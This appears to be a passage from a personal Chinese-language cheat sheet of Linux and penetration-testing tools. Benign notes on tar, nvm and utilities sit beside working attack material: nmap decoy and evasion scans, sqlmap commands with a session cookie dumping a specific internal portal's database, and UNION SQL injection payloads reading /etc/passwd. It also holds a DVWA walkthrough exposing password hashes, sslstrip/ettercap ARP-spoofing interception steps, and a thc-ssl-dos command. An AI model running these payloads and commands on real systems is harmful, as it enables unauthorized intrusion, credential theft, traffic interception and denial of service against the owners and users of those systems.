ssl-enum-ciphers:重复启动SSL和TLS链接,每一次尝试一个新的密码,并对主机的接受或拒绝进行记录。密码强度由强率表示,这是一个高度侵入式扫描,可能被目标阻塞。
ssl-google-cert-catalog:谷歌证书目录从目标中检所属于SSL证书的信息,并提供最近如何持续时间以及谷歌已经知道的证书等信息,如果一个证书不被谷歌认可,他可能是假的。
ssl-known-key:使用的SSL证书已经被破解或错误密钥的数据库相匹配的指纹。目前它使用LittleBlackBox数据库,然而任何指纹数据库均可被使用。
sslv2:确定服务器是否支持使用安全性相对较弱的SSL版本2以及版本2所支持的密码。
nmap --script "ssl*" -p 443 <target IP>
nmap扫描恶意接入点:
nmap -A -p 1-85,113,443,8080-8100 -T4 --min-hostgroup 50 --max-rtt-timeout 2000m --initial-rtt-timeout 300m --max-retries 3 --host-timeout 20m --max-scan-delay 1000s -oA wapscan 10.128.128.0/18

nmap -A -p 1-85,113,443,8080-8100 -T4 -min-hostgroup 50 -max-rtt-timeout 2000ms -initial-rtt-timeout 300ms -max-retries 3 -host-timeout 20m -max-scan-delay 1000ms -oA /home/jessie/wapscan 10.129.0.1/16

# 扫描局域网Conficker蠕虫病毒:
nmap -PN -T4 -p 139,445 -n -v --script=smb-check-vulns --script-args safe=1 10.128.128.1-10.128.128.200
诱饵扫描:
nmap -D RND:10 192.168.3.5
nmap -D decoy1,decoy2,decoy 192.168.3.5
nmap -PO -sI zombie 192.168.3.5
选择source port:
nmap --source-port 80 192.168.3.5
改变数据长度:
nmap --data-length 256 192.168.3.5
随机顺序扫描目标:
nmap --randomize-hosts 10.128.128.1/24
发送错误效验:
nmap --badsum 192.168.3.5
SSL后处理器扫描:
nmap -Pn -sSV -T4 -F 192.168.3.5
扫描开放的HTTP代理:
nmap --script http-open-proxy -p 8080 192.168.3.5
发现有趣的WEB文件目录和管理员账户:
nmap --script http-enum -p 80 192.168.3.5
测试默认凭据:
nmap -p 80 --script http-default-accounts 192.168.3.5
word-press审计:
nmap -p 80 --script http-wordpress-brute 192.168.3.5
Joomla审计(cms):
nmap -p 80 --script http-joomla-brute 192.168.3.5
检测SQL注入:
nmap -p 80 --script http-sql-injection 192.168.3.5

nmap --script-help=[script-name]
显示脚本帮助

# 查找SMB会话:
nmap --script smb-enum-users.nse -p 445 192.168.1.1

# ARP广播扫描:
nmap -v -sn 192.168.1.0/24

# ping扫描:
nmap -sP 192.168.1.0/24
for i in {1..254}; do ping -c 1 10.10.0.$i | grep 'from'; done

nmap -sn [IP] 直接采用ping探测存活
nmap -sn -PU [IP] 仅用UDP探测主机是否存活,不进行扫描

nmap -sT/-sS/-sF -sX -sN/-sP/-sU/-sA:TCP扫描、SYN扫描、用于躲避监控、PING检测、探测开放哪些UDP端口、TCP ACK扫描
其他:-F:快速扫描是扫描在nmap-services中列出的

Nodejs(nvm)——Node Version Manager

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# installs nvm (Node Version Manager)
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.0/install.sh | bash

# download and install Node.js (you may need to restart the terminal)
nvm install 20

# verifies the right Node.js version is in the environment
node -v # should print `v20.18.0`

# verifies the right npm version is in the environment
npm -v # should print `10.8.2`

# 设置nvm镜像
export NVM_NODEJS_ORG_MIRROR=npmmirror.com

# 设置npm镜像
npm config set registry https://registry.npmmirror.com/

Openvas——漏洞扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
apt-get install openvas

# openvas配置:
openvasmd -user=admin -new -password=admin
https://localhost:9392

可能遇到的错误:openvas:SecInfo Database Missing
解决方法:
sudo wget https://scm.wald.intevation.org/svn/openvas/trunk/openvas-manager/tools/cert_db_init.sql --no-check-certificate

sudo wget https://scm.wald.intevation.org/svn/openvas/trunk/openvas-manager/tools/dfn_cert_getbyname.xsl --no-check-certificate

sudo wget https://scm.wald.intevation.org/svn/openvas/trunk/openvas-manager/tools/dfn_cert_update.xsl --no-check-certificate

首先下载三个文件,放到/usr/share/openvas/cert/目录下面
openvas-certdata-sync

更新后重启openvas-scanner服务
/etc/init.d/openvas-scanner restart

Osdlyrics——Linux歌词

1
2
3
4
5
6
7
8
9
1.Gtk-Message: Failed to load module "canberra-gtk-module"
https://askubuntu.com/questions/208431/failed-to-load-module-canberra-gtk-module
解决:sudo apt-get install libcanberra-gtk-module
如果不行就:sudo apt-get install libcanberra-gtk-module:i386
2.Error: in function _start_daemon_cb: ol_main.c[768]
Unable to start daemon: GDBus.Error:org.freedesktop.DBus.Error.Spawn.ChildExited: Process org.osdlyrics.Daemon exited with status 1
https://github.com/osdlyrics/osdlyrics/issues/75
解决:如果是Debian12,因为Python隔离,要单独安装:
sudo apt install python3-future python3-pycurl

Postgres

1
2
3
4
5
6
常用端口:5432\5433\5434 每更新一次可能产生一个cluster,每个cluster一个端口。
su - postgres 进入postgres数据库
createdb -T template0 -E UTF-8 -0 [user] [dbname] 以temp0为模板建立数据库
createuser\dropuser\dropdb
psql -h localhost -U [user] [dbname] 链接数据库
pg_lsclusters 查看cluster

Pwgen——Linux随机密码生成

1
2
# 生成10位随机密码
pwgen 10

Realtek-rtl88xxau-dkms

1
apt-get install realtek-rtl88xxau-dkms

RPC Client

1
2
# RPC探测:
rpcclient -U "vagrant" 192.168.0.129

Scrot——命令行截图工具

1
2
3
4
5
# ssh中如何截屏:https://askubuntu.com/questions/921355/giblib-error-cant-open-x-display-on-ubuntu-14-04
SSH中直接运行报错:
giblib error: Can't open X display. It *is* running, yeah?
解决:指定DISPLAY=:0
DISPLAY=:0 scrot 1.png

SMB Client

1
2
3
4
5
6
7
8
9
10
11
# 查找网络共享:
smbclient -I 192.168.1.23 -L administrator -N -U ""
enum4linux.pl [options] targetIP
-U:获取用户列表
-M:获取机器列表
-S:获取共享列表
-P:获取密码策略信息
-G:获取组和成员列表
-d:详细的说明
-u user:用户名,默认“”
-p pass:密码,默认“”

SNMP Walk

1
2
# SNMP扫描:
snmpwalk -c public 192.168.1.0/24

SPARTA

1
2
3
# SPARTA 将nikto配置为端口操作:
将下面添加到sparta.conf中的[PortActions]
nikto=run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP], "http,https"

SQL Map

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
sqlmap -u 'URL-referer+actions' --cookie=''
e.g.:sqlmap -u 'http://192.168.3.5/srun_portal_pc.php?ac_id=1&action=login&username=2220166020323131&password=3213231&ac_id=1&user_ip=&nas_ip=&user_mac=&save_me=1&ajax=1' --cookie='login=bQ0pOyR6IXU7PJaQQqRAcBPxGAvxAcroZs3kCjs%252BqsjfkW%252FrykDPYDAINXzhHVAh6Ok5vz2r1RnWcbQxmMyf1%252Br1yJ26ksGLbnabOKcyfwljyAiWinG5MbEFn7UXXuaDgzeir5Ro07%252F2lUhGkrmlyqqeedfWX4mGyYDhq2SwcqhbJFtB81GaO6ODn%252Bz%252FPyjRsPjrlHc1JnbH1w%253D%253D' --dbs -v 0
--dbs可以识别数据库平台类型,查询数据库名
sqlmap -u 'http://192.168.3.5/srun_portal_pc.php?ac_id=1&action=login&username=2220166020323131&password=3213231&ac_id=1&user_ip=&nas_ip=&user_mac=&save_me=1&ajax=1' --cookie='login=bQ0pOyR6IXU7PJaQQqRAcBPxGAvxAcroZs3kCjs%252BqsjfkW%252FrykDPYDAINXzhHVAh6Ok5vz2r1RnWcbQxmMyf1%252Br1yJ26ksGLbnabOKcyfwljyAiWinG5MbEFn7UXXuaDgzeir5Ro07%252F2lUhGkrmlyqqeedfWX4mGyYDhq2SwcqhbJFtB81GaO6ODn%252Bz%252FPyjRsPjrlHc1JnbH1w%253D%253D' -D [database name] --tables
--tables 获取表名
sqlmap -u 'http://192.168.3.5/srun_portal_pc.php?ac_id=1&action=login&username=2220166020323131&password=3213231&ac_id=1&user_ip=&nas_ip=&user_mac=&save_me=1&ajax=1' --cookie='login=bQ0pOyR6IXU7PJaQQqRAcBPxGAvxAcroZs3kCjs%252BqsjfkW%252FrykDPYDAINXzhHVAh6Ok5vz2r1RnWcbQxmMyf1%252Br1yJ26ksGLbnabOKcyfwljyAiWinG5MbEFn7UXXuaDgzeir5Ro07%252F2lUhGkrmlyqqeedfWX4mGyYDhq2SwcqhbJFtB81GaO6ODn%252Bz%252FPyjRsPjrlHc1JnbH1w%253D%253D' -D [database name] --tables -T users --columns
用于获取users字段列表
sqlmap -u 'http://192.168.3.5/srun_portal_pc.php?ac_id=1&action=login&username=2220166020323131&password=3213231&ac_id=1&user_ip=&nas_ip=&user_mac=&save_me=1&ajax=1' --cookie='login=bQ0pOyR6IXU7PJaQQqRAcBPxGAvxAcroZs3kCjs%252BqsjfkW%252FrykDPYDAINXzhHVAh6Ok5vz2r1RnWcbQxmMyf1%252Br1yJ26ksGLbnabOKcyfwljyAiWinG5MbEFn7UXXuaDgzeir5Ro07%252F2lUhGkrmlyqqeedfWX4mGyYDhq2SwcqhbJFtB81GaO6ODn%252Bz%252FPyjRsPjrlHc1JnbH1w%253D%253D' -D [db name] --tables -T users -columns -dump
导出,拖库
此外SQLmap还可用于shell处理

# 网页sql注入:
[URL]=xxx/view.php?xxx=
所以[URL]1 and 1=2 可以正常查询,则可能存在漏洞
[URL]9999' 显示……near ’/‘ ……说明’可能被过滤成 / 了
所以直接用union语句猜想:
[URL]1 and 1=2 union select 1,2,3,4,5,6,7--
直到猜想正确,假设为20
其中7,8,12能显示于页面
在通过select语句:
[URL]1%20and%201=2%20union%20select%201,2,3,4,5,6,version(),database(),9,10,11,user(),13,14,15,16,17,18,19,20%20from%20news%20where%201=1
注:URL编码表%20 是(空格) %28是( %29是)
1 and 1=2 union select 1,2,3,4,5,6,version(),database(),9,10,11,user(),13,14,15,16,17,18,19,20 from news where 1=1
然后查询information——schema
[URL]1 and 1=2 union select 1,2,3,4,5,6,version(),database(),9,10,11,user(),13,group_concat{(}table_name{)},15,16,17,18,19,20 from information_cshema.tables where table_schema=database{()}--
以上空格以及{}内的要用URL编码表中代替,group_concat()使每一项都横向输出 ,假设查到表有Bangladesh_nfb
[URL]1 and 1=2 union select 1,2,3,4,5,6,version{()},database{()},9,10,11,user{()},13,group_concat{(}columns_name{)},15,16,17,18,19,20 from information_shcema.columns where table_name=0x6e657773--
0x6e657773是news的十六进制处理,避免字符过滤
最后使用SQL中的load_file函数找找主机passwd文件,甚至shadow文件
[URL]999999.9/**/UNION/**/ALL/**/SELECT/**/concat{(}0x27,{(}select/**/load_file{(}0x2F6574632F706173737764{)))},1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
0x2F6574632F706173737764 经过十六进制编码解密 得到 /etc/passwd 0x27:' 0x是十六进制的前缀

# 利用SQL猜解表名:
[URL]1是正确页面
[URL]1 and length(database())>{11}
{}内是猜想数字,先猜出长度,假设长度11
[URL]1 and ascii(substring(database(),1,1))>{97}
如果97正确,98错误,则第一个字节是98 == b,以此类推
猜解表数:
[URL]1 and (SELECT count(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES where table_schema=database())>14
尝试到15时可知有15个表;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
# SQL 注入简单示例:
正常查询:select [列] from [表] where ID=?

异常:输入< or 1=1>构造select [列] or 1=1 from [表] where ID=?
输入{1'}无反应,说明可能要输入{'1''}
输入{' or 1=1 '}
可能:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '''' at line 1

输入{' or 1=1 --'}构造< or 1=1>构造select [列] or 1=1 -- from [表] where ID=?
--是注释符号,注释掉后半句
以行的形式输出:使用concat()函数:输入{'union select 1--'}
返回:The used SELECT statements have a different number of columns.是因为不同unionselect子句列数要一致。

所以:{'union select 1,2--'}正确说明数据有两列也可以是:'union select 12,23--'
Select [columns] from [table] where criteria = [criteria] or union select 1 --
返回: ID: 'union select 12,23--'
First name: 12
Surname: 23

# 然后:输入{' Union select 1, table_name from INFORMATION_SCHEMA.tables-- '}查询系统表每一个表名字和每一列名字
======================================================================================
ID: ' Union select 1, table_name from INFORMATION_SCHEMA.tables-- '
First name: 1
Surname: ALL_PLUGINS

ID: ' Union select 1, table_name from INFORMATION_SCHEMA.tables-- '
First name: 1
Surname: APPLICABLE_ROLES

ID: ' Union select 1, table_name from INFORMATION_SCHEMA.tables-- '
First name: 1
Surname: CHARACTER_SETS

ID: ' Union select 1, table_name from INFORMATION_SCHEMA.tables-- '
First name: 1
Surname: CHECK_CONSTRAINTS

ID: ' Union select 1, table_name from INFORMATION_SCHEMA.tables-- '
First name: 1
Surname: COLLATIONS

ID: ' Union select 1, table_name from INFORMATION_SCHEMA.tables-- '
First name: 1
Surname: COLLATION_CHARACTER_SET_APPLICABILITY

ID: ' Union select 1, table_name from INFORMATION_SCHEMA.tables-- '
First name: 1
Surname: COLUMNS
======================================================================================

# 然后:输入{' Union select 1, column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- '}查看user表中的内容
======================================================================================
ID: ' Union select 1, column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- '
First name: 1
Surname: user_id

ID: ' Union select 1, column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- '
First name: 1
Surname: first_name

ID: ' Union select 1, column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- '
First name: 1
Surname: last_name

ID: ' Union select 1, column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- '
First name: 1
Surname: user

ID: ' Union select 1, column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- '
First name: 1
Surname: password

ID: ' Union select 1, column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- '
First name: 1
Surname: avatar

ID: ' Union select 1, column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- '
First name: 1
Surname: last_login

ID: ' Union select 1, column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- '
First name: 1
Surname: failed_login

ID: ' Union select 1, column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- '
First name: 1
Surname: CURRENT_CONNECTIONS

ID: ' Union select 1, column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- '
First name: 1
Surname: TOTAL_CONNECTIONS
======================================================================================

# 然后:{' Union select null, password from users -- '}显示密码
======================================================================================
ID: ' Union select null, password from users -- '
First name:
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' Union select null, password from users -- '
First name:
Surname: e99a18c428cb38d5f260853678922e03

ID: ' Union select null, password from users -- '
First name:
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' Union select null, password from users -- '
First name:
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
======================================================================================

# 再{' Union select password, concat(first_name, ' ', last_name, ' ', user) from users -- '}导出数据库
======================================================================================
ID: ' Union select password, concat(first_name, ' ', last_name, ' ', user) from users -- '
First name: 5f4dcc3b5aa765d61d8327deb882cf99
Surname: admin admin admin

ID: ' Union select password, concat(first_name, ' ', last_name, ' ', user) from users -- '
First name: e99a18c428cb38d5f260853678922e03
Surname: Gordon Brown gordonb

ID: ' Union select password, concat(first_name, ' ', last_name, ' ', user) from users -- '
First name: 8d3533d75ae2c3966d7e0d4fcc69216b
Surname: Hack Me 1337

ID: ' Union select password, concat(first_name, ' ', last_name, ' ', user) from users -- '
First name: 0d107d09f5bbe40cade3de5c71e9e9b7
Surname: Pablo Picasso pablo

ID: ' Union select password, concat(first_name, ' ', last_name, ' ', user) from users -- '
First name: 5f4dcc3b5aa765d61d8327deb882cf99
Surname: Bob Smith smithy
======================================================================================
# 以上来源于DVWA-low security

SSL Strip

1
2
3
4
5
6
7
8
9
10
11
#sslstrip mitm:
设置端口转发:
echo "1" > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
sslstrip -l 5353
ettercap -TqM arp:remote //192.168.1.1// //192.168.1.11//
结束https降级后,禁用防火墙规则:
iptables -t nat -D PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 5353
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 5353 -F
# 最后确认以下:
iptables -t nat -L
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
其他SSL工具:
sslcaudit:自动化测试ssl和tls客户端抵御中间人攻击的能力

sslscan:查询SSL服务来确定其支持何种密码,输出包括首选SSL密码和在文本及XML格式中显示的密码。

sslstrip:设计透明的网络。截获HTTP流量,关注HTTPS链接。重定向并将这些链接映射到欺骗的HTTP或HTTPS链接。他也支持模式提供一个图标,看起来像一个锁的图标以及截获通信的选择测性日志。

sslsplit:执行中间人攻击。通过一个网络地址转换器和对SSLSPLIT重定向。截获透明的网络连接到原始目的的链接同时记录所有的数据,它支持TCP、SSL、HTTP,https、ipv4和ipv6。

sslyze:分析服务器的SSL配置
======================================================================================
sslscan --no-failed 192.168.1.21
tlssled 192.168.1.1 443

SSL-DoS:
thc-ssl-dos 192.168.2.1 443

Supertuxkart

Linux开源赛车游戏

Tar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
# 举例:

省流:czvf & xzvf

# 列出压缩包中的文件
$ tar tf xxx.tar.xz
===============================================
2022-02-18.png
2022-02-19.png
===============================================
$ tar tvf xxx.tar.xz
===============================================
-rwxrwxrwx jessie/jessie 659541 2022-02-18.png
-rwxrwxrwx jessie/jessie 558556 2022-02-19.png
===============================================

# 解压
$ tar xfv xxx.tar.xz
===============================================
2022-02-18.png
2022-02-19.png
===============================================

# 压缩
$ tar cf xxx.tar [files]

# tar.xz:
压缩
tar czvf out.tar [files]
xz -z out.tar
解压
xz -d out.tar.xz
tar xzvf out.tar

## 帮助菜单
用法: tar [选项...] [FILE]...
GNU 'tar' saves many files together into a single tape or disk archive, and can
restore individual files from the archive.

Examples:
tar -cf archive.tar foo bar # Create archive.tar from files foo and bar.
tar -tvf archive.tar # List all files in archive.tar verbosely.
tar -xf archive.tar # Extract all files from archive.tar.

主操作模式:
-A, --catenate, --concatenate 追加 tar 文件至归档
-c, --create 创建一个新归档
--delete 从归档(非磁带!)中删除
-d, --diff, --compare 找出归档和文件系统的差异
-r, --append 追加文件至归档结尾
--test-label 测试归档卷标并退出
-t, --list 列出归档内容
-u, --update 仅追加比归档中副本更新的文件
-x, --extract, --get 从归档中解出文件

操作修饰符:

--check-device 当创建增量归档时检查设备号(默认)
-g, --listed-incremental=FILE 处理新式的 GNU 格式的增量备份
-G, --incremental 处理老式的 GNU 格式的增量备份
--hole-detection=TYPE 用于探测holes 的技术
--ignore-failed-read
当遇上不可读文件时不要以非零值退出
--level=NUMBER 所创建的增量列表归档的输出级别
--no-check-device 当创建增量归档时不要检查设备号
--no-seek 归档不可检索
-n, --seek 归档可检索
--occurrence[=NUMBER] 仅处理归档中每个文件的第 NUMBER
个事件;仅当与以下子命令 --delete,
--diff, --extract 或是 --list
中的一个联合使用时,此选项才有效。而且不管文件列表是以命令行形式给出或是通过
-T 选项指定的;NUMBER 值默认为 1
--sparse-version=MAJOR[.MINOR]
设置所用的离散格式版本(隐含
--sparse)
-S, --sparse 高效处理离散文件

本地文件名选择:
--add-file=FILE 添加指定的 FILE 至归档(如果名字以 -
开始会很有用的)
-C, --directory=DIR 改变至目录 DIR
--exclude=PATTERN 排除以 PATTERN 指定的文件
--exclude-backups 排除备份和锁文件
--exclude-caches 除标识文件本身外,排除包含
CACHEDIR.TAG 的目录中的内容
--exclude-caches-all 排除包含 CACHEDIR.TAG 的目录
--exclude-caches-under 排除包含 CACHEDIR.TAG
的目录中所有内容
--exclude-ignore=FILE 若存在FILE,
则从其中读取每个目录的例外匹配项
--exclude-ignore-recursive=FILE
若存在FILE,
则从其中为每个目录及其子目录读取需要排除的例外匹配项
--exclude-tag=FILE 除 FILE 自身外,排除包含 FILE
的目录中的内容
--exclude-tag-all=FILE 排除包含 FILE 的目录
--exclude-tag-under=FILE 排除包含 FILE 的目录中的所有内容
--exclude-vcs 排除版本控制系统目录
--exclude-vcs-ignores 从VCS 忽略文件中读取排除匹配项
--no-null 禁用上一次的效果 --null 选项
--no-recursion 避免目录中的自动降级
--no-unquote 不要unquote 输入文件或成员名称
--no-verbatim-files-from -T
把以‘-’开始的文件作为选项(默认)
--null -T 读取以空终止的名字; 隐含
--verbatim-files-from
--recursion 目录递归(默认)
-T, --files-from=FILE 从 FILE
中获取文件名来解压或创建文件
--unquote unquote 输入文件或成员名称(默认)
--verbatim-files-from -T
逐字读取文件名(不处理选项或进行转义)
-X, --exclude-from=FILE 排除 FILE 中列出的模式串

文件名匹配选项(同时影响排除和包括模式串):

--anchored 模式串匹配文件名头部
--ignore-case 忽略大小写
--no-anchored 模式串匹配任意‘/’后字符(对
exclusion 为默认值)
--no-ignore-case 匹配大小写(默认)
--no-wildcards 逐字匹配字符串
--no-wildcards-match-slash 通配符不匹配‘/’
--wildcards 使用通配符(对 exclusion 为默认值)
--wildcards-match-slash 通配符匹配‘/’(对 exclusion
为默认值)

重写控制:

--keep-directory-symlink 解压时保留已存在的目录符号链接
--keep-newer-files
不要替换比归档中副本更新的已存在的文件
-k, --keep-old-files 解压时不替换存在的文件,
而将其认为是错误
--no-overwrite-dir 保留已存在目录的元数据
--one-top-level[=DIR] 创建子目录以避免解压松散文件
--overwrite 解压时重写存在的文件
--overwrite-dir
解压时重写已存在目录的元数据(默认)
--recursive-unlink 解压目录之前先清除目录层次
--remove-files 在添加文件至归档后删除它们
--skip-old-files
解压时不替换存在的文件,而是自动忽略
-U, --unlink-first 在解压要重写的文件之前先删除它们
-W, --verify 在写入以后尝试校验归档

选择输出流:

--ignore-command-error 忽略子进程的退出代码
--no-ignore-command-error
将子进程的非零退出代码认为发生错误
-O, --to-stdout 解压文件至标准输出
--to-command=COMMAND
将解压的文件通过管道传送至另一个程序

操作文件属性:

--atime-preserve[=METHOD]
在输出的文件上保留访问时间,要么通过在读取(默认
METHOD=‘replace’)后还原时间,要不就不要在第一次(METHOD=‘system’)设置时间
--clamp-mtime 当文件比 --mtime
指定的文件更新时仅更新时间
--delay-directory-restore
直到解压结束才设置修改时间和所解目录的权限
--group=名称 强制将 NAME
作为所添加的文件的组所有者
--group-map=FILE 用FILE 映射文件所有者GIDs 和名字
--mode=CHANGES 强制将所添加的文件(符号)更改为权限
CHANGES
--mtime=DATE-OR-FILE 从 DATE-OR-FILE 中为添加的文件设置
mtime
-m, --touch 不要解压文件的修改时间
--no-delay-directory-restore
取消 --delay-directory-restore 选项的效果
--no-same-owner
将文件解压为您所有(普通用户默认此项)
--no-same-permissions
从归档中解压权限时使用用户的掩码位(默认为普通用户服务)
--numeric-owner 总是以数字代表用户/组的名称
--owner=名称 强制将 NAME
作为所添加的文件的所有者
--owner-map=FILE 用FILE 映射文件所有者UIDs 和名字
-p, --preserve-permissions, --same-permissions
解压文件权限信息(默认只为超级用户服务)
--same-owner
尝试解压时保持所有者关系一致(超级用户默认此项)
--sort=ORDER 目录排序顺序: none(默认), name 或inode
-s, --preserve-order, --same-order
成员参数按归档中的文件顺序列出

操作extended 文件属性:

--acls 开启 POSIX ACLs 支持
--no-acls 关闭 POSIX ACLs 支持
--no-selinux 关闭 SELinux 上下文支持
--no-xattrs 关闭extended 属性支持
--selinux 开启 SELinux 上下文支持
--xattrs 开启extended 属性支持
--xattrs-exclude=MASK 为xattr 关键字指定排除匹配项
--xattrs-include=MASK 为xattr 关键字指定包含匹配项

设备选择和切换:

--force-local
即使归档文件存在副本还是把它认为是本地归档
-f, --file=ARCHIVE 使用归档文件或 ARCHIVE 设备
-F, --info-script=名称, --new-volume-script=名称
在每卷磁带最后运行脚本(隐含 -M)
-L, --tape-length=NUMBER 写入 NUMBER × 1024 字节后更换磁带
-M, --multi-volume 创建/列出/解压多卷归档文件
--rmt-command=COMMAND 使用指定的 rmt COMMAND 代替 rmt
--rsh-command=COMMAND 使用远程 COMMAND 代替 rsh
--volno-file=FILE 使用/更新 FILE 中的卷数

设备分块:

-b, --blocking-factor=BLOCKS 每个记录 BLOCKS x 512 字节
-B, --read-full-records 读取时重新分块(只对 4.2BSD 管道有效)
-i, --ignore-zeros 忽略归档中的零字节块(即文件结尾)
--record-size=NUMBER 每个记录的字节数 NUMBER,乘以 512

选择归档格式:

-H, --format=FORMAT 创建指定格式的归档

FORMAT 是以下格式中的一种:
gnu GNU tar 1.13.x 格式
oldgnu GNU 格式,其中 tar 版本 <= 1.12
pax POSIX 1003.1-2001 (pax) 格式
posix 等同于 pax
ustar POSIX 1003.1-1988 (ustar) 格式
v7 旧的 V7 tar 格式

--old-archive, --portability
等同于 --format=v7
--pax-option=关键字[[:]=值][,关键字[[:]=值]]...
控制 pax 关键字
--posix 等同于 --format=posix
-V, --label=TEXT 创建带有卷名 TEXT
的归档;在列出/解压时,使用 TEXT
作为卷名的模式串

压缩选项:

-a, --auto-compress 使用归档后缀名来决定压缩程序
-I, --use-compress-program=PROG
通过 PROG 过滤(必须是能接受 -d
选项的程序)
-j, --bzip2 通过 bzip2 过滤归档
-J, --xz 通过 xz 过滤归档
--lzip 通过 lzip 过滤归档
--lzma 通过 xz 过滤归档
--lzop 通过 lzop 过滤归档
--no-auto-compress 不使用归档后缀名来决定压缩程序
--zstd 通过 zstd 过滤归档
-z, --gzip, --gunzip, --ungzip 通过 gzip 过滤归档
-Z, --compress, --uncompress 通过 compress 过滤归档

本地文件选择:

--backup[=CONTROL] 在删除前备份,选择 CONTROL 版本
--hard-dereference
跟踪硬链接;将它们所指向的文件归档并输出
-h, --dereference
跟踪符号链接;将它们所指向的文件归档并输出
-K, --starting-file=MEMBER-NAME
从归档中的 MEMBER-NAME
成员处开始读取归档
--newer-mtime=DATE 当只有数据改变时比较数据和时间
-N, --newer=DATE-OR-FILE, --after-date=DATE-OR-FILE
只保存比 DATE-OR-FILE 更新的文件
--one-file-system 创建归档时保存在本地文件系统中
-P, --absolute-names 不要从文件名中清除引导符‘/’
--suffix=STRING 在删除前备份,除非被环境变量
SIMPLE_BACKUP_SUFFIX
覆盖,否则覆盖常用后缀(‘’)

文件名变换:

--strip-components=NUMBER 解压时从文件名中清除 NUMBER
个引导部分
--transform=EXPRESSION, --xform=EXPRESSION
使用 sed 代替 EXPRESSION
来进行文件名变换

提示性输出:

--checkpoint[=NUMBER] 每隔 NUMBER
个记录显示进度信息(默认为 10 个)
--checkpoint-action=ACTION 在每个检查点上执行 ACTION
--full-time 按文件原本时间格式打印
--index-file=FILE 将详细输出发送至 FILE
-l, --check-links
只要不是所有链接都被输出就打印信息
--no-quote-chars=STRING 禁用来自 STRING 的字符引用
--quote-chars=STRING 来自 STRING 的额外的引用字符
--quoting-style=STYLE 设置名称引用风格;有效的 STYLE
值请参阅以下说明
-R, --block-number 每个信息都显示归档内的块数
--show-defaults 显示 tar 默认选项
--show-omitted-dirs
列表或解压时,列出每个不匹配查找标准的目录
--show-snapshot-field-ranges
显示快照文件区的有效范围
--show-transformed-names, --show-stored-names
显示变换后的文件名或归档名
--totals[=SIGNAL] 处理归档后打印出总字节数;当此
SIGNAL 被触发时带参数 -
打印总字节数;允许的信号为:
SIGHUP,SIGQUIT,SIGINT,SIGUSR1 和
SIGUSR2;同时也接受不带 SIG
前缀的信号名称
--utc 以 UTC 格式打印文件修改时间
-v, --verbose 详细地列出处理的文件
--warning=KEYWORD 警告控制
-w, --interactive, --confirmation
每次操作都要求确认

兼容性选项:

-o 创建归档时,相当于
--old-archive;展开归档时,相当于
--no-same-owner

其它选项:

-?, --help 显示此帮助列表
--restrict 禁用某些潜在的有危险的选项
--usage 显示简短的用法说明
--version 打印程序版本

长选项和相应短选项具有相同的强制参数或可选参数。

The backup suffix is '~', unless set with --suffix or SIMPLE_BACKUP_SUFFIX.
The version control may be set with --backup or VERSION_CONTROL, values are:

none, off never make backups
t, numbered make numbered backups
nil, existing numbered if numbered backups exist, simple otherwise
never, simple always make simple backups

